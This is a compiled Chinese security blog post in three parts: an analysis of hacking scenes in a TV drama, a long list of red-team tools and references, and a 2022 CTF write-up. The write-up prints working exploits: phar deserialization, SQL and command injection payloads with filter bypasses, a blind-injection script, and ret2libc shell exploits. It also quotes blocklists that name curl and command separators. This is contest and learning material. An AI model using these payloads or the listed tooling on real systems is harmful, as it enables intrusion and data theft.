本文仅对影视剧中涉及的技术进行分析,对剧情不做详细的说明。感兴趣的童鞋可以去看看。PS: 技术分析按照剧情顺序进行(1~4)集前言电视开头,便给我展示了第一种攻击技术,恶意充电宝。看似利用充电宝给手机充电,但是在充电的过程中,便已经获取了用户的信息。 实现原理 这种方法,在我前面的文章中有所涉及《利用树莓派监控女盆友手机》,其实很简单,就是利用adb命令获取手机的信息,当然也可以利用adb命令安装shell。 实现难度 容易,只需要开启手机开发者先选即可。 但是在现实中,手机开发者选项是默认关闭的。像电视中的情形是不会实现的。 信息收集基于朋友圈收集信息 通过对朋友圈非朋友可见十条 查看最近朋友圈的动态,获取对方的相关的信息。再加上推测,得知女主老公出轨的可能性。表哥建议 非工作需要,还是尽量在微信中,将此功能关闭吧。 基于微信步数的信息收集 通过微信步数,可以获取当前在干嘛?如早上八点你刚睡醒,好友的步数已达到5000步,说明他很有可能在跑步锻炼身体。基于钓鱼链接的信息收集 在表哥前面的文章中,也写过类似的文章。通过探针可以简单的获取目标的IP地址,GPS信息,以及照片,录音等等。但是随着手机安全性能的提高,都会有弹窗提示。利用百度网盘备份数据 这个在生活中,常常遇到。而且在安装百度网盘后,备份通讯录等信息是默认开启的。可以一试!(最好将头像也换掉,这样才真实)利用滴滴分享行程 通过以上方案,主人公成功得到了对方的手机号码,并通过微信查找到了相关的账号。当然网安专家的电脑中毒了。 对驱动盘符的破解 这里当然是导演给了密码,要是现实中,复杂的密码程度,估计等这剧结束了,都没破解成功。控制网吧网络 这个应该用的是,运维app或者小程序,进行管理。难度不大。社会工程学应用通过在捡垃圾,获取对方有用的信息。所以在日常生活中,快递、外卖等单子如果不处理,都会造成一定的信息泄露。 通过对方一个账号信息,枚举其他账号信息,如贴吧 微博 QQ空间,从而获取对方相关个人信息。 WiFi探针早在之前,央视315就曝光了WiFi探针窃取用户信息的案例。原理是当用户手机无线局域网处于打开状态时,会向周围发出寻找无线网络的信号。一旦探针盒子发现这个信号后,就能迅速识别出用户手机的MAC地址,转换成IMEI号,再转换成手机号码。 因此,一些公司将这种小盒子放在商场、超市、便利店、写字楼等地,在用户毫不知情的情况下,搜集个人信息,甚至包括婚姻、教育程度、收入等大数据个人信息。 android shell 从视频可以看出,很基础的msf控制android命令。但是能直接操纵手机编辑,这个就有点夸张了。 wifi钓鱼利用fluxion进行WiFi钓鱼。 PS (4-8)集,仅对影视剧中的技术进行分析,剧情、人物不加以说明。 接着来看,为了获取诈骗集团的数据,溜到机房下载服务器数据。 这里用到的软件应该用的是XFTP。这也算是物理攻击了吧!物理攻击 所谓物理攻击,便是攻击者无法在软件层面或者系统方面找到相关的漏洞。一时无法拿下目标,会到实地考察,通过社会工程学等方法,偷偷潜入目标内部进行攻击。这种攻击,最为致命。 在网安大赛中,用到的工具。在前面的镜头中,应该是利用owasp扫描目标网站的漏洞。说实在的,页面一直没有动,不知道扫了个啥! 在攻入了二级防护后,第三局开始,应该还是msf的界面。设置的msf的配置参数,但一直没有exploit不知道在等什么。 倒计时三分钟的时候,应该是开始了sqlmap注入。 从视频可以看出,用到的命令为sqlmap -r 1.txt --batch --level 5 -v current-usersqlmap的使用,在之前的文章中提到的比较多。上面这条命令应该是通过post注入,获取当前系统的用户。 参数解读: -r 1.txt txt中存放的便是目标的请求数据,一般用burp抓包,保存为txt即可。 -- batch 执行过程中不需要用户输入YES or NO,将会使用sqlmap提示的默认值YES一直运行下去。 --level 风险级别,默认为1,当level为5时会测试很多的payload,效率会降低。 –current-user 获取当前用户名。 总结电视剧中涉及到的网络安全工具,都是我们平时常见的网络安全知识。影视剧中稍有扩大,但是从剧情方面来看,还是非常棒的,尤其在给大众普及网络安全知识的同时,将网络水军、网络诈骗、杀猪盘、网贷等和百姓有关的话题紧密联系在一起。在视频末尾都会对大家普及一些网络安全知识,值得推荐! 转自文章来源: https://blog.bbskali.cn/3666.html
-
红队框架列表
攻击技战法 [list] 云上攻击技战法 https://hackingthe.cloud/[doc] 红队技术实战 https://ired.team/威胁情报 Threat Intelligence[list] https://github.com/hslatman/awesome-threat-intelligence红队框架/工具集 Redteam Framework[tool] Utilities for MITRE™ ATT&CK https://github.com/nshalabi/ATTACK-Tools[tool] 好用的渗透工具列表 https://github.com/enaqx/awesome-pentest[book] KALI渗透 https://jobrest.gitbooks.io/kali-linux-cn/content/[paper] ATT&CK 发布了七款安全产品的评估 https://medium.com/mitre-attack/first-round-of-mitre-att-ck-evaluations-released-15db64ea970d[doc] 红队技术实战 https://ired.team/[tool] 红队框架 https://ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform[cheatsheet] 红队手册 https://github.com/mantvydasb/Offensive-Security-OSCP-Cheatsheets/[tool] 渗透、红队工具集 https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE[tool] 红队资源集合 https://github.com/yeyintminthuhtut/Awesome-Red-Teaming/[tool] APT实战资源 https://osint-labs.org/apt/[cheatsheet] Windows 渗透 https://m0chan.github.io/2019/07/30/Windows-Notes-and-Cheatsheet.htmlMITRE ATT&CK MatrixCaldera https://github.com/mitre/caldera https://caldera.readthedocs.io/en/latest/index.htmlAtomic Red Team https://github.com/redcanaryco/atomic-red-team https://atomicredteam.ioDumpsterFire https://github.com/TryCatchHCF/DumpsterFireMetta https://github.com/uber-common/metta https://github.com/uber-common/metta/wikiRTA https://github.com/endgameinc/RTA业内红队 Industryhttps://specterops.io/https://www.synack.com/red-team/攻击杀伤链信息搜集 ReconnaissanceOSINT 在线工具[tool] 信息搜集和渗透工具集 https://github.com/projectdiscovery/[tool] 企业邮箱搜索工具 http://www.skymem.info/[tool] 子域名和DNS历史记录Dnstrails https://securitytrails.com/dns-trails[tool] 全网证书搜索 http://crt.sh[tool] 多种域名/IP信息工具 https://viewdns.info/[tool] https://pentest-tools.com[tool] 全网资产搜索 Shodan https://www.shodan.io/[tool] 全网资产搜索 Censys https://censys.io[tool] 全网资产搜索 Fofa https://fofa.so/[tool] 全网资产搜索 Zoomeye https://www.zoomeye.org/[tool] DNS查询 https://dnsdumpster.com/[tool] 文件在线监测 VirusTotal https://www.virustotal.com/[tool] DNS查询 http://www.dnsgoodies.com/[tool] Google ASE aka Google Dorking [Most effective in some cases][tool] Spiderfoot [Currently Free, just request for a Spiderfoot instance][tool] Binaryedge [Paid/Rate-Limited][tool] onyphe.io [Free mostly][tool] Github用户历史记录API https://api.github.com/users/{username}/events信息搜集工具[tool] BigBountyRecon https://github.com/Viralmaniar/BigBountyRecon指纹识别[tool] WAF识别 https://github.com/stamparm/identYwaf入口突破 Entry钓鱼 Phishing[tool] https://github.com/klionsec/PhishingExploit[tool] https://github.com/gophish/gophish[cases] 利用谷歌开放平台OAuth授权,伪装成Google Doc使用GMail传播钓鱼 https://www.reddit.com/r/google/comments/692cr4/new_google_docs_phishing_scam_almost_undetectable/[blog] Office在线视频钓鱼 https://blog.cymulate.com/abusing-microsoft-office-online-video[tool] 邮件钓鱼工具 https://www.mailsploit.com/index[trick] 利用DOCX文档远程模板注入执行宏https://xz.aliyun.com/t/2496[trick] 浏览器窗口伪造 https://github.com/openworldoperations/FISHY[trick] 鼠标光标伪造 https://jameshfisher.github.io/cursory-hack/硬件交互设备 HID Attack[paper] 打印机利用 http://archive.hack.lu/2010/Costin-HackingPrintersForFunAndProfit-slides.pdf[tool] BadUSB https://mp.weixin.qq.com/s/mIcRNcf5HmZ4axe8N92S7Q无线入侵 Wireless Attack[tool] 无需四次握手包破解WPA&WPA2密码 http://www.freebuf.com/articles/wireless/179953.html服务器带外管理BMC、IPMI供应链攻击[blog] 针对目标企业开源项目的针对性软件供应链攻击 https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610Exploitation[tool] PE文件转为Shellcode / https://github.com/hasherezade/pe_to_shellcode[blog] Java Runtime.exec(String)执行任意命令 https://www.anquanke.com/post/id/159554https://mp.weixin.qq.com/s/pzpc44-xH932M4eCJ8LxYghttp://jackson.thuraisamy.me/runtime-exec-payloads.html[paper] 利用 Java JDBC 驱动利用反序列化漏洞 https://xz.aliyun.com/t/7067[blog] 关于Jackson的CVEs https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062[paper] FastJson漏洞历史 https://github.com/miaochiahao/slides/tree/master/fastjson[tool] 一键日Jira https://github.com/0x48piraj/Jiraffe[tool] 很全的JNDI内存马利用工具 https://github.com/feihong-cs/JNDIExploit权限提升 Privilege Escalation[cheatsheet] Windows提权笔记 https://xz.aliyun.com/t/2519[cheatsheet] Windows提权小抄 https://guif.re/windowseop[cheatsheet] Windows本地提权技巧 http://payloads.online/archivers/2018-10-08/1[cheatsheet] Linux提权小抄 https://guif.re/linuxeop[exploit] Windows-Exploit-Suggester https://github.com/GDSSecurity/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py[exploit] Linux-Exploit-Suggester https://github.com/PenturaLabs/Linux_Exploit_Suggester/[exploit] Windows Exploits https://github.com/abatchy17/WindowsExploits[exploit] Windows Sherlock本地提权漏洞检查 https://github.com/rasta-mouse/Sherlock[cheatsheet] Linux sudo滥用提权 http://touhidshaikh.com/blog/?p=790[blog] 深入解读MS14-068漏洞:微软精心策划的后门?http://www.freebuf.com/vuls/56081.html[paper] Windows特权提升 https://www.exploit-db.com/docs/english/46131-windows-privilege-escalations.pdf[tool] juicy-potato本地提权 https://github.com/ohpe/juicy-potato https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/[exploit] hh.exe提权 https://twitter.com/FlatL1ne/status/1194208167976165376[tool] Linux本地信息搜集 https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh[tool] Linux进程监控 https://github.com/DominicBreuker/pspy[cheatsheet] Linux Privilege Escalation https://book.hacktricks.xyz/linux-unix/privilege-escalation持久化后门 Persistent[tool] Gray Dragon .NET应用Runtime注入工具 / https://www.digitalbodyguard.com/graydragon.html[trick] 利用环境变量,在任意.Net应用DLL注入 / https://mobile.twitter.com/subTee/status/864903111952875521 https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/bb384689(v=vs.100)[tool] PHP-FPM无文件后门Webshell https://www.anquanke.com/post/id/163197[tool] 利用PrintDialog持久化+执行命令 http://www.hexacorn.com/blog/2018/08/11/printdialog-exe-yet-another-lolbin-for-loading-dlls/[tool] SystemSettings http://www.hexacorn.com/blog/2018/08/12/systemsettings-exe-yet-another-lolbin-for-loading-dlls/[tool] 二进制加密Webshell https://xz.aliyun.com/t/2744https://github.com/rebeyond/Behinder[cheatsheet] Linux权限维持 https://xz.aliyun.com/t/7338[tool] Linux eBPF backdoor https://github.com/kris-nova/boopkit[tool] 5行代码编译 PAM 后门 https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9Post ExploitationWindows无Powershell.exe的Powershell工具 / https://github.com/Ben0xA/nps全阶段的Powershell渗透测试脚本 / https://github.com/samratashok/nishang命令执行 Living off the Land https://github.com/api0cradle/LOLBASC# 后渗透测试库 SharpSploit 介绍 https://posts.specterops.io/introducing-sharpsploit-a-c-post-exploitation-library-5c7be5f16c51[blog] Windows执行命令和下载文件总结 https://www.cnblogs.com/17bdw/p/8550189.html[trick] 使用Rundll32运行.Net程序 https://blog.xpnsec.com/rundll32-your-dotnet/[tool] .NET DllExport https://github.com/3F/DllExportLinux纯Bash实现的后渗透工具 / https://github.com/TheSecondSun/Bashark/凭据窃取 Credentials[tool] SafetyKatz https://github.com/GhostPack/SafetyKatz[tool] Shellcode Dump LSASS https://osandamalith.com/2019/05/11/shellcode-to-dump-the-lsass-process/[tool] 内网密码搜集和解密工具 https://github.com/klionsec/Decryption-tool横向移动 Letaral Movement[tool] 端口扫描 wrriten in GO https://github.com/ffuf/ffuf/tree/master[tool] 域信息搜集,域管理员的六度空间 https://github.com/BloodHoundAD/SharpHound[usage] NMap空闲隐蔽扫描 https://nmap.org/book/idlescan.html[blog] 使用meterpreter进行NTLM中继攻击 https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/[tool] Responder NetBIOS名称欺骗和LLMNR欺骗 https://github.com/SpiderLabs/Responder[tool] NTLM Relay 攻击 Exchange Web Services https://github.com/Arno0x/NtlmRelayToEWS[tool] SMB中间人劫持 https://github.com/quickbreach/SMBetray[tool] 代理隧道 https://github.com/txthinking/brook[tool] 代理隧道 https://github.com/Dliv3/Venom绕过检测 Defense Evasion[book] 效果不错的免杀,使用C#绕过杀毒软件[tool] 生成免杀的Metasploit Payload / https://github.com/Veil-Framework/Veil[code] 自定义Meterpreter加载 / http://www.freebuf.com/articles/system/53818.html[blog] 九种姿势执行Mimikaz[blog] 使用.Net可执行程序进行渗透[blog] ATT&CK 攻击矩阵 躲避防御[blog] 绕过下一代杀软[blog] Windows NTFS特殊文件夹绕过检测[paper] Winnti Bootkit http://williamshowalter.com/a-universal-windows-bootkit/[paper] UEFI Rootkit https://www.welivesecurity.com/2018/09/27/lojax-first-uefi-rootkit-found-wild-courtesy-sednit-group/[twitter] Linux Bash 混淆 https://twitter.com/DissectMalware/status/1025580967384305664[tool] 免杀工具 AVEThttps://github.com/govolution/avet[blog] 绕过CrowdStrike检测 https://0x00sec.org/t/bypassing-crowdstrike-falcon-detection-from-phishing-email-to-reverse-shell/10802[blog] 10 种绕过杀毒软件的方式 https://blog.netspi.com/10-evil-user-tricks-for-bypassing-anti-virus/[tool] DLL Side Loding Attack Gen https://github.com/Mr-Un1k0d3r/MaliciousDLLGenerator[tool] BypassAV ShellCode Loader https://github.com/k8gege/scrun[blog] Protecting Your Malware with blockdlls and ACG 利用微软自身提供的安全机制来反EDR https://blog.xpnsec.com/protecting-your-malware/[blog] Detecting Parent PID Spoofing https://blog.f-secure.com/detecting-parent-pid-spoofing/[tips] 对抗EDR的三个重要特征: 1. Process Relationship / 2. Suspicious Network / 3. Command Line.[blog] Antivirus Evasion with Python https://medium.com/bugbountywriteup/antivirus-evasion-with-python-49185295caf1[tool] JS免杀Shellcode https://github.com/Hzllaga/JsLoader[tool] 利用杀毒软件销毁自身 https://www.rack911labs.com/research/exploiting-almost-every-antivirus-software/[tool] 免杀合集 https://github.com/TideSec/BypassAntiVirus[tool] Apache/Nginx端口转发,隐藏TeamServer https://github.com/threatexpress/cs2modrewrite[tool] 《使用C#编写自定义后门负载》学习笔记及免杀尝试 https://xz.aliyun.com/t/6222[tool] 杀软进程名检查 https://github.com/gh0stkey/avList/[blog] Windows免杀新技术 Process Herpaderping https://jxy-s.github.io/herpaderping/[blog] Domain Borrowing: 一种基于CDN的新型隐蔽通信方法 https://xlab.tencent.com/cn/2021/05/14/domain-borrowing/C&C[tool] ICMP后门 https://github.com/inquisb/icmpsh[tool] Windows远控 in C# https://github.com/quasar/QuasarRAT[tool] Defcon后渗透工具,大宝剑 https://github.com/zerosum0x0/koadic[tool] Custom Command and Control https://labs.mwrinfosecurity.com/tools/c3[paper] CobaltStrike教程文档 https://wbglil.gitbooks.io/cobalt-strike/[blog] PowerGhost挖矿病毒分析 https://www.freebuf.com/articles/system/219715.html[tool] 隐藏网络连接的后门 https://github.com/BeetleChunks/redsails[tool] Powershell反连后门 https://github.com/ZHacker13/ReverseTCPShell[tool] JS VBS Payload生成器 https://github.com/mdsecactivebreach/CACTUSTORCH[tool] 基于Golang的C2,DeimosC2 https://github.com/DeimosC2/DeimosC2[tool] 基于Golang的反弹Shell管理程序 https://github.com/WangYihang/Platypus[tool] 基于.Net框架的开源C2,https://github.com/cobbr/Covenant[tool] 基于Rust的开源C2 Link,支持 Windows、Linux、MacOS https://github.com/postrequest/link[tool] C语言编写的小巧精悍后门 https://github.com/MarioVilas/thetick[tool] C2 Silver https://github.com/BishopFox/sliver数据外传 Data Exfiltration[blog] 数据外传技术 https://www.pentestpartners.com/security-blog/data-exfiltration-techniques/杂项 & 辅助工具 Misc[forum] Hack the box https://www.hackthebox.eu/[tool] 代码生成手绘图 https://www.websequencediagrams.com/[tool] 本地代码生成ascii文本绘图 graph::easy[tricks] 技巧汇总 https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet#lbwh-anchor匿名邮箱和短信接收平台https://lcx.cc/post/4594/复用Gmail邮箱的技巧 https://gmail.googleblog.com/2008/03/2-hidden-ways-to-get-more-from-your.html中间人 MITM[tool] https://github.com/LionSec/xerosploit[tool] 钓鱼反向代理中间人工具 https://github.com/hash3liZer/evilginx2安卓安全 Android[paper] Frida操作手册 https://github.com/hookmaster/frida-all-in-one逆向分析 Reverse[tool] NSA发布逆向分析框架Ghidra https://www.nsa.gov/resources/everyone/ghidra/[tool] Modern Java Bytecode Editor https://github.com/Col-E/Recaf爆破 & 字典 Wordlist常见服务的暴力破解 https://github.com/lanjelot/patator看起来很强的弱密码 https://github.com/r35tart/RW_Password超全Payload https://github.com/swisskyrepo/PayloadsAllTheThings社工字典生成工具 https://github.com/Saferman/cupper渗透辅助 & OOB工具[tool] nuclei 的 dnslog https://github.com/projectdiscovery/interactsh[tool] lijiejie 基于 bugscan dnslog 二开的 dnslog https://github.com/lijiejie/eyes.sh自动化扫描 & 巡检[tool] 分布式扫描器WDScanner https://www.freebuf.com/sectool/203772.html[tool] 灯塔资产巡检 https://github.com/TophantTechnology/ARL云安全 & 云原生[book] K8S指南 https://feisky.gitbooks.io/kubernetes/introduction/101.html[list] 云上攻击技战法 https://hackingthe.cloud/Web安全[collections] Web安全项目合集 https://github.com/qazbnm456/awesome-web-security[tool] Web扫描通用辅助函数集 https://wsltools.readthedocs.io/en/latest/[tool] Web爬虫,基于Chrome Headless https://github.com/chaitin/rad[tool] Burpsuite插件,敏感信息识别和提取 https://github.com/gh0stkey/HaE[tool] MLoger - HTTP(S)/TCP/WS 抓包测试工具 https://github.com/momosecurity/Mloger[tool] Web扫描器 nuclei,支持POC扫描 https://github.com/projectdiscovery/nuclei软件包/组件/依赖安全[tool] 开源漏洞库,组件安全,依赖安全 https://security.snyk.io/[tool] 组件依赖安全检测 https://github.com/jeremylong/DependencyCheckXXE[tool] XXE盲打外传工具 https://github.com/TheTwitchy/xxer[tool] 攻击Java RMI https://github.com/NickstaDB/BaRMIeJava安全[book] Java安全 https://github.com/anbai-inc/javaweb-sec[tool] 优化版本yso https://github.com/zema1/ysoserial前端黑魔法paper 反爬虫JS破解与混淆还原手册 https://github.com/LoseNine/Restore-JSDefense入侵检测 Detection[blog] 针对微软活动目录(AD)的七大高级攻击技术及相应检测方法 https://www.anquanke.com/post/id/161815[blog] 攻防对抗:活动目录中的欺骗技术 https://www.anquanke.com/post/id/162210[tool] Webshell查杀 http://www.shellpub.com/[paper] eBPF进程阻断 https://www.cnxct.com/linux-kernel-hotfix-with-ebpf-lsm/[paper] Tetragon进程阻断原理 https://www.cnxct.com/how-tetragon-preventing-attacks/溯源反制[tool] 利用JetBrains来进行RCE反制 https://github.com/CC11001100/idea-project-fish-exploit主机加固[blog] 隐藏其他用户的进程信息 https://linux-audit.com/linux-system-hardening-adding-hidepid-to-proc/法律法规 Laws美国信息泄露通知法 https://en.wikipedia.org/wiki/Security_breach_notification_laws 转自文章来源: https://kingx.me/pentest-tools/
-
2022年第五空间网络安全大赛WriteUp
一、WEB1.web_BaliYun进去之后一个文件上传,而且只能上传图片。访问www.zip拿到源码 网站源码:index.php:<?php include("class.php"); if(isset($_GET['img_name'])){ $down = new check_img(); # here echo $down->img_check(); } if(isset($_FILES["file"]["name"])){ $up = new upload(); echo $up->start(); } ?> class.php:<?php class upload{ public $filename; public $ext; public $size; public $Valid_ext; public function __construct(){ $this->filename = $_FILES["file"]["name"]; $this->ext = end(explode(".", $_FILES["file"]["name"])); $this->size = $_FILES["file"]["size"] / 1024; $this->Valid_ext = array("gif", "jpeg", "jpg", "png"); } public function start(){ return $this->check(); } private function check(){ if(file_exists($this->filename)){ return "Image already exsists"; }elseif(!in_array($this->ext, $this->Valid_ext)){ return "Only Image Can Be Uploaded"; }else{ return $this->move(); } } private function move(){ move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename); return "Upload succsess!"; } public function __wakeup(){ echo file_get_contents($this->filename); # here 2 } } class check_img{ public $img_name; public function __construct(){ $this->img_name = $_GET['img_name']; # here } public function img_check(){ if(file_exists($this->img_name)){ # here 1 return "Image exsists"; }else{ return "Image not exsists"; } } }很明显得phar反序列化,上传再phar包含即可,代码也给定了上传目录为upload,文件名未变。 更多有关phar反序列化可参考 php反序列化拓展攻击详解--phar: https://xz.aliyun.com/t/6699 Phar与Stream Wrapper造成PHP RCE的深入挖掘: https://xz.aliyun.com/t/2958 # test.php <?php class upload{ public $filename; public function __construct(){ $this->filename = 'file:///flag'; } } $phar = new Phar('Tao.phar'); $phar -> stopBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $payload = new upload(); $phar -> setMetadata($payload); $phar -> stopBuffering(); php --define phar.readonly=0 test.php mv Tao.phar Tao.gif 类里面看到了可以出发phar的函数file_exists。以及可以读flag的函数。那么思路就很清晰了。直接上传一个Tao.gif,内容是upload类,属性filename为/flag。然后传参img_name为phar://upload/Tao.gif,去触发我们的phar包即可 上传Tao.gif,之后?img_name=phar://upload/Tao.gif即可get flag. ouo@GOTA:~$ curl -vv http://39.107.82.169:27417/index.php?img_name=phar://upload/Tao.gif | grep "flag" ......................................... > GET /index.php?img_name=phar://upload/Tao.gif HTTP/1.1 > Host: 39.107.82.169:27417 > User-Agent: curl/7.58.0 > Accept: */* > < HTTP/1.1 200 OK < Date: Mon, 19 Sep 2022 10:42:08 GMT < Server: Apache/2.4.25 (Debian) < X-Powered-By: PHP/5.6.40 < Vary: Accept-Encoding < Content-Length: 1925 < Content-Type: text/html; charset=UTF-8 < ......................................... flag{s8HJQg5ftEJ9Kcc65Mn55K9XjRRgYVQg} 2.easyloginsql注入,burp抓包时发现gbk乱码,意识到是宽字节注入。 username=admin%df'&password=admin 报错: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin�''' at line 1 测试联合注入发现: 总是出现语法错误,排查后发现select和union等会被替换为空,比较简单利用双写绕过即可。 直接联合注入密码无法登陆,联想到常规站点开发密码会被md5,于是用md5去加密,由于无法用引号,选择16进制绕过。 建立虚拟表直接登录。后台逻辑是MD5比较。有类似原题username=admin%df%27ununionion%0aseselectlect%0a66,66,0x3437626365356337346635383966343836376462643537653963613966383038#&password=aaa3.web_letmeguess_1题目提示弱口令,爆破得密码admin123 GET /index.php?ip=127.0.0.1%0Als HTTP/1.1 Host: 39.107.75.148:19304 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://39.107.75.148:19304/index.php?ip=ip Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=r4mutkqgni200nfu6ar3qj3jp7; td_cookie=3097567335 Connection: close # 读取源代码 ?ip=127.0.0.1%0Apaste%09index.phpArray ( [0] => <?php [1] => [2] => header('Content-type:text/html; charset=utf-8'); [3] => [4] => // 开启Session [5] => [6] => session_start(); [7] => [8] => [9] => [10] => // 首先判断Cookie是否有记住了用户信息 [11] => [12] => if (isset($_COOKIE['username'])) { [13] => [14] => # 若记住了用户信息,则直接传给Session [15] => [16] => $_SESSION['username'] = $_COOKIE['username']; [17] => [18] => $_SESSION['islogin'] = 1; [19] => [20] => } [21] => [22] => if (isset($_SESSION['islogin'])) { [23] => [24] => // 若已经登录 [25] => [26] => [27] => $res = FALSE; [28] => [29] => if (isset($_GET['ip']) && $_GET['ip']) { [30] => $ip = $_GET['ip']; [31] => $m = []; [32] => if (!preg_match_all("/(\||&|;| |\/|cat|flag|touch|more|curl|scp|kylin|echo|tmp|var|run|find|grep|-|`|'|:|<|>|less|more)/", $ip, $m)) { [33] => $cmd = "ping -c 4{$ip}"; [34] => exec($cmd, $res); [35] => } else { [36] => $res = 'Hacker,存在非法语句'; [37] => } [38] => } [39] => [40] => [41] => } else { [42] => [43] => // 若没有登录 [44] => [45] => echo "您还没有登录,请<a href='login.html'>登录</a>"; [46] => [47] => } [48] => [49] => ?>正则拦截如下: if (!preg_match_all("/(\||&|;| |\/|cat|flag|touch|more|curl|scp|kylin|echo|tmp|var|run|find|grep|-|`|'|:|<|>|less|more)/", $ip, $m)) 在当前目录中发现kylin,过滤也发现kylin,猜测flag在此目录下,但是由于/给拦截了,尝试进入目录后进行文件读取,但题目过滤了kylin,利用linux系统得特性,正则查看目录文件 # 读取kylin目录 ?ip=127.0.0.1%0Als%09ky??? #输出: <pre> Array ( [0] => flag.txt ) </pre> #final payload ?ip=127.0.0.1%0Acd%09ky???%0apaste%09fl* # %09 => ' '(tab),其实${IFS}也可以 ?ip=127.0.0.1%0Acd%09ky???%0apaste${IFS}fl* ?ip=127.0.0.1%0Aca""t${IFS}$(fi""nd${IFS}.) 4.web_Eeeeasy_SQL源码:直接利用16进制字符比较,用case when一个个正则出来。利用binary来区分大小写。 脚本直接注import requests proxy={"http":"127.0.0.1:8080"} result="0x" k=0 for j in range(100): for i in range(33,126): k=hex(i) k=k[2:] result += k password = "or(case\x09when\x09(binary\x09username>"+result+")\x09then\x091\x09else\x099223372036854775807+1\x09end)#" data = {"username": "aa\\", "password": password} re = requests.post(data=data, url=url,proxies=proxy, allow_redirects=False) # sleep(0.1) print(re.status_code) if "msg" not in re.text: result = result[:-2] l=hex(i-1) l=l[2:] result +=l print(result) break else: result = result[:-2]最后注出来 username=Flag_Account&password=G1ve_Y0u_@_K3y_70_937_f14g!!!提交登录进去后,可以看到是一个简单的readfile。过滤/flag而已,不能直接用/flag,简单用/proc/self/root/flag绕过<?php session_start(); if(isset($_SESSION['name'])){ if($_SESSION['name'] === 'Flag_Account'){ $file = urldecode($_GET['file']); if(!preg_match('/^\/flag|var|tmp|php|log|\%|sess|etc|usr|\.|\:|base|ssh|http/i',$file)){ readfile($file); }else{ echo 'try again~'; } } show_source(__FILE__); }else{ echo '登陆一下吧~'; } 二、Pwn1. H3ll0Rop基础的ret2libc from pwn import * context.log_level='debug' #p = process('./H3ll0Rop') p = remote('47.93.30.67',52705) elf = ELF('./H3ll0Rop') libc = ELF('./libc-2.23.so') pop_rdi = 0x0000000000400753 #vuln = 0x400647 vuln = 0x4006CC #leak libc payload = b'a'*(0x60+0x8)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(vuln) p.sendlineafter(b'me???',payload) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['puts'] print('libc_base',hex(libc_base)) system = libc_base + libc.sym['system'] binsh = libc_base + next(libc.search(b'/bin/sh')) #getshell payload = b'a'*(0x60+0x8)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(vuln) p.sendlineafter(b'me???',payload) p.interactive() p.close() 2.5_1H3ll0Ropfrom pwn import* context(os='linux',arch='amd64') context.log_level=True elf=ELF('H3ll0Rop') libc=ELF('libc-2.23.so') #p = process(["./ld-2.27.so", "./a"],env={"LD_PRELOAD":"./libc-2.27.so"}) #p=process('./H3ll0Rop',env={'LD_PRELOAD':'./libc-2.23.so'}) #p=process('./H3ll0Rop') p=remote('47.94.151.201',51850) p.recvuntil('game with me???\n\n') payload='a'*0x68+p64(0x0000000000400753)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4006CC) p.sendline(payload) p.recvuntil('an pwn it\n\n') puts=u64(p.recv(6).ljust(8,'\x00')) libcbase=puts-libc.sym['puts'] system=libcbase+libc.sym['system'] binsh=libcbase+next(libc.search('/bin/sh')) print hex(libcbase) p.recvuntil('game with me???\n\n') payload='a'*0x68+p64(0x0000000000400753)+p64(binsh)+p64(system) #gdb.attach(p) raw_input() p.sendline(payload) p.interactive() 三、Misc1.简单的Base题目给了一串密文666c61677b57656c636f6d655f686572657d, hex解码 >>> print('666c61677b57656c636f6d655f686572657d'.decode('hex')) flag{Welcome_here}2.5_Misc_m@sTeR_0f题目给了源代码,如下: import random import string import subprocess WELCOME = ''' _______ _____ ___ __ _____ _ _ _______ ____ |__ __| | __ \ / _ \ / _| / ____| | | (_)__ __| _ __ ___ / __ \ ___| | ___| |__) | | | | | |_ | (___ __ _| | _ | | ___ | '_ ` _ \ / / _` / __| |/ _ \ _ / | | | | _| \___ \ / _` | | | | | |/ _ \ | | | | | | | (_| \__ \ | __/ | \ \ | |_| | | ____) | (_| | |____| | | | __/ |_| |_| |_|\ \__,_|___/_|\___|_| \_\ \___/|_| |_____/ \__, |______|_| |_|\___| \____/ | | |_| ''' print(WELCOME) def name_generator(size=6, chars=string.ascii_uppercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) tmp_dbpath = f'/tmp/{name_generator()}.db' query_idea = input("Input your Query command --->> ") black_list = ['.', 'lo', ';'] for y in black_list: if y in query_idea: print("Hacker! Banned...") exit() sqlite3_process = subprocess.Popen(["sqlite3", tmp_dbpath, query_idea], stdout=subprocess.PIPE) (output, error) = sqlite3_process.communicate() #Show your output! print(output.decode()) 审计发现,核心代码如下: sqlite3_process = subprocess.Popen(["sqlite3", tmp_dbpath, query_idea], stdout=subprocess.PIPE) (output, error) = sqlite3_process.communicate() Command Injection,query_idea可控, 但题目过滤了['.', 'lo', ';'] 查阅官方文档https://www.sqlite.org/cli.html,发现可命令执行 $sqlite3 Tao Enter ".help" for usage hints. sqlite> .shell whoami root sqlite> .system id uid=0(root) gid=0(root) groups=0(root),141(kaboxer) 